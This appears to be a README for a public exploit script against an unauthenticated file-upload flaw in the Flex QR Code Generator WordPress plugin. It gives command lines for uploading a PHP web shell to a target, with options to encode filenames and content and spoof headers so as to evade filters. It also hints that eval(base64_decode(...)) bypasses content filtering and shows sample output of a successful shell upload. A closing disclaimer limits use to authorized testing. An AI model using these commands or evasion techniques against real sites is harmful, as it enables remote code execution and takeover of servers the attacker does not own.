
Flex QR Code Generator <= 1.2.5 - Unauthenticated Arbitrary File Upload
Flex QR Code Generator <= 1.2.5 - Unauthenticated Arbitrary File Upload
The Flex QR Code Generator plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the save_qr_code_to_db() function in all versions up to, and including, 1.2.5.
This allows unauthenticated attackers to upload malicious files to the affected site's server, potentially leading to remote code execution.
CVE-2025-100419.8 (Critical)CVE-2025-10041.py is a professional exploit tool designed to automate the attack by leveraging this vulnerability.
It provides advanced features for bypassing common protections and encoding techniques.
python3 CVE-2025-10041.py -u http://target.com
python3 CVE-2025-10041.py -u http://target.com --encode_filename base64
python3 CVE-2025-10041.py -u http://target.com --encode_filename url
python3 CVE-2025-10041.py -u http://target.com --encode_content base64
python3 CVE-2025-10041.py -u http://target.com --shellname myevil.php
python3 CVE-2025-10041.py -u http://target.com --encode_content base64 --encode_filename base64 --shellname myevil.php
python3 CVE-2025-10041.py -u http://target.com --headers "X-Forwarded-For: 127.0.0.1" "Cookie: PHPSESSID=1337"
To see all available options and usage instructions:
python3 CVE-2025-10041.py --help
.php or suspicious names; encoding may evade filters.eval(base64_decode(...)) may bypass content filters.Checking vulnerability version...
Target is vulnerable ...
Exploiting ...
Uploading shell 'shell.php' ...
Shell uploaded successfully.
Shell path (guess): /wp-content/uploads/shell_3.php
Response: {...}
This script is provided for educational, research, and authorized penetration testing purposes only.
Unauthorized use against systems you do not own or have explicit permission to test is strictly prohibited and illegal.
The author is not responsible for any misuse or damage caused by this tool.
Nxploited (Khaled Alenazi)